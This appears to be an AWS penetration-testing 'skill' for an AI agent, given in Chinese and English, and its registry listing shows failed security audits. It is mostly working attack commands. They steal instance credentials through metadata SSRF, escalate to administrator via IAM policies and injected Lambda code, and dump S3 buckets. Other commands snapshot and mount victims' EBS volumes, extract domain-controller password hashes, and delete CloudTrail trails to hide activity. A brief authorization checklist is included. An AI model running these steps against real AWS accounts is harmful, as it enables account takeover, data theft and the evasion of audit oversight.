核心工作流程

步骤 1：初始枚举

识别被攻陷的身份和权限：

# 检查当前身份
aws sts get-caller-identity

# 配置配置文件
aws configure --profile compromised

# 列出访问密钥
aws iam list-access-keys

# 枚举权限
./enumerate-iam.py --access-key AKIA... --secret-key StF0q...

步骤 2：IAM 枚举

# 列出所有用户
aws iam list-users

# 列出用户所属组
aws iam list-groups-for-user --user-name TARGET_USER

# 列出附加的策略
aws iam list-attached-user-policies --user-name TARGET_USER

# 列出内联策略
aws iam list-user-policies --user-name TARGET_USER

# 获取策略详情
aws iam get-policy --policy-arn POLICY_ARN
aws iam get-policy-version --policy-arn POLICY_ARN --version-id v1

# 列出角色
aws iam list-roles
aws iam list-attached-role-policies --role-name ROLE_NAME

步骤 3：元数据 SSRF (EC2)

利用 SSRF 访问元数据端点 (IMDSv1)：

# 访问元数据端点
http://169.254.169.254/latest/meta-data/

# 获取 IAM 角色名称
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# 提取临时凭据
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME

# 响应包含：
{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "...",
  "Token": "...",
  "Expiration": "2019-08-01T05:20:30Z"
}

对于 IMDSv2 (需要令牌)：

# 首先获取令牌
TOKEN=$(curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
  "http://169.254.169.254/latest/api/token")

# 使用令牌进行请求
curl -H "X-aws-ec2-metadata-token:$TOKEN" \
  "http://169.254.169.254/latest/meta-data/iam/security-credentials/"

Fargate 容器凭据：

# 读取环境变量获取凭据路径
/proc/self/environ
# 查找：AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/...

# 访问凭据
http://169.254.170.2/v2/credentials/CREDENTIAL-PATH

权限提升技术

影子管理员权限

这些权限等同于管理员权限：

为其他用户创建访问密钥

aws iam create-access-key --user-name target_user

附加管理员策略

aws iam attach-user-policy --user-name my_username \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

添加内联管理员策略

aws iam put-user-policy --user-name my_username \
  --policy-name admin_policy \
  --policy-document file://admin-policy.json

Lambda 权限提升

# code.py - 注入到 Lambda 函数中
import boto3

def lambda_handler(event, context):
    client = boto3.client('iam')
    response = client.attach_user_policy(
        UserName='my_username',
        PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
    )
    return response

# 更新 Lambda 代码
aws lambda update-function-code --function-name target_function \
  --zip-file fileb://malicious.zip

S3 存储桶利用

存储桶发现

# 使用 bucket_finder
./bucket_finder.rb wordlist.txt
./bucket_finder.rb --download --region us-east-1 wordlist.txt

# 常见的存储桶 URL 模式
https://{bucket-name}.s3.amazonaws.com
https://s3.amazonaws.com/{bucket-name}

存储桶枚举

# 列出存储桶 (使用凭据)
aws s3 ls

# 列出存储桶内容
aws s3 ls s3://bucket-name --recursive

# 下载所有文件
aws s3 sync s3://bucket-name ./local-folder

公开存储桶搜索

https://buckets.grayhatwarfare.com/

Lambda 利用

# 列出 Lambda 函数
aws lambda list-functions

# 获取函数代码
aws lambda get-function --function-name FUNCTION_NAME
# 下载响应中提供的 URL

# 调用函数
aws lambda invoke --function-name FUNCTION_NAME output.txt

SSM 命令执行

Systems Manager 允许在 EC2 实例上执行命令：

# 列出托管实例
aws ssm describe-instance-information

# 执行命令
aws ssm send-command --instance-ids "i-0123456789" \
  --document-name "AWS-RunShellScript" \
  --parameters commands="whoami"

# 获取命令输出
aws ssm list-command-invocations --command-id "CMD-ID" \
  --details --query "CommandInvocations[].CommandPlugins[].Output"

EC2 利用

挂载 EBS 卷

# 创建目标卷的快照
aws ec2 create-snapshot --volume-id vol-xxx --description "Audit"

# 从快照创建卷
aws ec2 create-volume --snapshot-id snap-xxx --availability-zone us-east-1a

# 附加到攻击者实例
aws ec2 attach-volume --volume-id vol-xxx --instance-id i-xxx --device /dev/xvdf

# 挂载并访问
sudo mkdir /mnt/stolen
sudo mount /dev/xvdf1 /mnt/stolen

卷影复制攻击 (Windows DC)

# CloudCopy 技术
# 1. 创建 DC 卷的快照
# 2. 与攻击者账户共享快照
# 3. 在攻击者实例中挂载
# 4. 提取 NTDS.dit 和 SYSTEM
secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local

从 API 密钥获取控制台访问

将 CLI 凭据转换为控制台访问：

git clone https://github.com/NetSPI/aws_consoler
aws_consoler -v -a AKIAXXXXXXXX -s SECRETKEY

# 生成控制台登录 URL

清除痕迹

禁用 CloudTrail

# 删除跟踪
aws cloudtrail delete-trail --name trail_name

# 禁用全局事件
aws cloudtrail update-trail --name trail_name \
  --no-include-global-service-events

# 禁用特定区域
aws cloudtrail update-trail --name trail_name \
  --no-include-global-service-events --no-is-multi-region-trail

注意： Kali/Parrot/Pentoo Linux 会基于用户代理触发 GuardDuty 警报。请使用修改了用户代理的 Pacu。

快速参考

约束

必须：

• 测试前获得书面授权
• 记录所有操作以供审计追踪
• 仅测试范围内的资源

禁止：

• 未经批准修改生产数据
• 未经记录留下持久后门
• 永久禁用安全控制

应该：

• 尝试元数据攻击前检查 IMDSv2
• 利用前进行彻底枚举
• 任务结束后清理测试资源

示例

示例 1：SSRF 获取管理员权限

# 1. 在 Web 应用中寻找 SSRF 漏洞
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# 2. 从响应中获取角色名称
# 3. 提取凭据
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole

# 4. 使用窃取的凭据配置 AWS CLI
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...

# 5. 验证访问权限
aws sts get-caller-identity

故障排除

其他资源

有关高级技术，包括 Lambda/API Gateway 利用、Secrets Manager & KMS、容器安全 (ECS/EKS/ECR)、RDS/DynamoDB 利用、VPC 横向移动以及安全检查清单，请参阅 references/advanced-aws-pentesting.md。

每周安装数

0

仓库

automindtechnol…skill.md

首次出现

1970年1月1日

安全审计

Gen Agent Trust Hub失败Socket失败Snyk失败

Core Workflow

Step 1: Initial Enumeration

Identify the compromised identity and permissions:

# Check current identity
aws sts get-caller-identity

# Configure profile
aws configure --profile compromised

# List access keys
aws iam list-access-keys

# Enumerate permissions
./enumerate-iam.py --access-key AKIA... --secret-key StF0q...

Step 2: IAM Enumeration

# List all users
aws iam list-users

# List groups for user
aws iam list-groups-for-user --user-name TARGET_USER

# List attached policies
aws iam list-attached-user-policies --user-name TARGET_USER

# List inline policies
aws iam list-user-policies --user-name TARGET_USER

# Get policy details
aws iam get-policy --policy-arn POLICY_ARN
aws iam get-policy-version --policy-arn POLICY_ARN --version-id v1

# List roles
aws iam list-roles
aws iam list-attached-role-policies --role-name ROLE_NAME

Step 3: Metadata SSRF (EC2)

Exploit SSRF to access metadata endpoint (IMDSv1):

# Access metadata endpoint
http://169.254.169.254/latest/meta-data/

# Get IAM role name
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Extract temporary credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME

# Response contains:
{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "...",
  "Token": "...",
  "Expiration": "2019-08-01T05:20:30Z"
}

For IMDSv2 (token required):

# Get token first
TOKEN=$(curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
  "http://169.254.169.254/latest/api/token")

# Use token for requests
curl -H "X-aws-ec2-metadata-token:$TOKEN" \
  "http://169.254.169.254/latest/meta-data/iam/security-credentials/"

Fargate Container Credentials:

# Read environment for credential path
/proc/self/environ
# Look for: AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/...

# Access credentials
http://169.254.170.2/v2/credentials/CREDENTIAL-PATH

Privilege Escalation Techniques

Shadow Admin Permissions

These permissions are equivalent to administrator:

Create Access Key for Another User

aws iam create-access-key --user-name target_user

Attach Admin Policy

aws iam attach-user-policy --user-name my_username \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

Add Inline Admin Policy

aws iam put-user-policy --user-name my_username \
  --policy-name admin_policy \
  --policy-document file://admin-policy.json

Lambda Privilege Escalation

# code.py - Inject into Lambda function
import boto3

def lambda_handler(event, context):
    client = boto3.client('iam')
    response = client.attach_user_policy(
        UserName='my_username',
        PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
    )
    return response



# Update Lambda code
aws lambda update-function-code --function-name target_function \
  --zip-file fileb://malicious.zip

S3 Bucket Exploitation

Bucket Discovery

# Using bucket_finder
./bucket_finder.rb wordlist.txt
./bucket_finder.rb --download --region us-east-1 wordlist.txt

# Common bucket URL patterns
https://{bucket-name}.s3.amazonaws.com
https://s3.amazonaws.com/{bucket-name}

Bucket Enumeration

# List buckets (with creds)
aws s3 ls

# List bucket contents
aws s3 ls s3://bucket-name --recursive

# Download all files
aws s3 sync s3://bucket-name ./local-folder

Public Bucket Search

https://buckets.grayhatwarfare.com/

Lambda Exploitation

# List Lambda functions
aws lambda list-functions

# Get function code
aws lambda get-function --function-name FUNCTION_NAME
# Download URL provided in response

# Invoke function
aws lambda invoke --function-name FUNCTION_NAME output.txt

SSM Command Execution

Systems Manager allows command execution on EC2 instances:

# List managed instances
aws ssm describe-instance-information

# Execute command
aws ssm send-command --instance-ids "i-0123456789" \
  --document-name "AWS-RunShellScript" \
  --parameters commands="whoami"

# Get command output
aws ssm list-command-invocations --command-id "CMD-ID" \
  --details --query "CommandInvocations[].CommandPlugins[].Output"

EC2 Exploitation

Mount EBS Volume

# Create snapshot of target volume
aws ec2 create-snapshot --volume-id vol-xxx --description "Audit"

# Create volume from snapshot
aws ec2 create-volume --snapshot-id snap-xxx --availability-zone us-east-1a

# Attach to attacker instance
aws ec2 attach-volume --volume-id vol-xxx --instance-id i-xxx --device /dev/xvdf

# Mount and access
sudo mkdir /mnt/stolen
sudo mount /dev/xvdf1 /mnt/stolen

Shadow Copy Attack (Windows DC)

# CloudCopy technique
# 1. Create snapshot of DC volume
# 2. Share snapshot with attacker account
# 3. Mount in attacker instance
# 4. Extract NTDS.dit and SYSTEM
secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local

Console Access from API Keys

Convert CLI credentials to console access:

git clone https://github.com/NetSPI/aws_consoler
aws_consoler -v -a AKIAXXXXXXXX -s SECRETKEY

# Generates signin URL for console access

Covering Tracks

Disable CloudTrail

# Delete trail
aws cloudtrail delete-trail --name trail_name

# Disable global events
aws cloudtrail update-trail --name trail_name \
  --no-include-global-service-events

# Disable specific region
aws cloudtrail update-trail --name trail_name \
  --no-include-global-service-events --no-is-multi-region-trail

Note: Kali/Parrot/Pentoo Linux triggers GuardDuty alerts based on user-agent. Use Pacu which modifies the user-agent.

Quick Reference

Constraints

Must:

• Obtain written authorization before testing
• Document all actions for audit trail
• Test in scope resources only

Must Not:

• Modify production data without approval
• Leave persistent backdoors without documentation
• Disable security controls permanently

Should:

• Check for IMDSv2 before attempting metadata attacks
• Enumerate thoroughly before exploitation
• Clean up test resources after engagement

Examples

Example 1: SSRF to Admin

# 1. Find SSRF vulnerability in web app
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# 2. Get role name from response
# 3. Extract credentials
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole

# 4. Configure AWS CLI with stolen creds
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...

# 5. Verify access
aws sts get-caller-identity

Troubleshooting

Additional Resources

For advanced techniques including Lambda/API Gateway exploitation, Secrets Manager & KMS, Container security (ECS/EKS/ECR), RDS/DynamoDB exploitation, VPC lateral movement, and security checklists, see references/advanced-aws-pentesting.md.

Weekly Installs

0

Repository

automindtechnol…skill.md

First Seen

Jan 1, 1970

Security Audits

Gen Agent Trust HubFailSocketFailSnykFail